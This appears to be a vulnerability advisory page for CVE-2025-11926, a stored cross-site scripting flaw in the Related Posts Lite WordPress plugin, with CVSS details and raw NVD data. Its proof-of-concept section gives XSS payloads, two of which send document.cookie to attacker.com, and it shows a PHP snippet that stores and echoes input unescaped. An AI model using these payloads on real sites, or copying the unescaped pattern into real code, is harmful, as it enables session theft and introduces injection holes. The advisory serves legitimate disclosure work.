Security Vulnerability Report
中文
CVE-2025-11926 CVSS 4.4 MEDIUM

CVE-2025-11926

Published: 2025-10-18 10:15:39
Last Modified: 2026-04-15 00:35:42

Description

The Related Posts Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Related Posts Lite <= 1.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-11926: Stored XSS in Related Posts Lite WordPress Plugin This PoC demonstrates how an authenticated administrator can inject malicious JavaScript via the plugin's admin settings page. --> <!-- Step 1: Login as administrator and navigate to the Related Posts Lite settings page --> <!-- Step 2: Inject the following payload into a vulnerable settings field (e.g., custom title or header text field) --> <!-- Payload Option 1: Script tag injection --> <script>alert('XSS-CVE-2025-11926');document.location='https://attacker.com/steal?cookie='+document.cookie;</script> <!-- Payload Option 2: Img tag with onerror handler (bypasses basic filters) --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- Payload Option 3: SVG with onload event --> <svg/onload=alert(document.domain)> <!-- Step 3: Save the settings. The malicious payload is now stored in the database. --> <!-- Step 4: When any user visits a page displaying the related posts, the XSS payload executes in their browser. --> <?php // Conceptual exploit snippet (for educational/research purposes only) // Simulates the vulnerable code path in Related Posts Lite plugin $user_input = $_POST['related_posts_lite_header_text']; // No sanitization update_option('rpl_header_text', $user_input); // Stored as-is // Later, when rendering: echo '<div class="rpl-header">' . get_option('rpl_header_text') . '</div>'; // No escaping -> XSS ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11926", "sourceIdentifier": "[email protected]", "published": "2025-10-18T10:15:38.883", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Related Posts Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/prabhatverma47/Wordpress-Related-Posts-Lite-plugin-XSS-PoC?utm_source=chatgpt.com", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/related-posts-lite/tags/1.12/", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/related-posts-lite/?utm_source=chatgpt.com", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5dadd49c-33b2-43d8-a6a9-64a3c37c4b52?source=cve", "source": "[email protected]"}]}}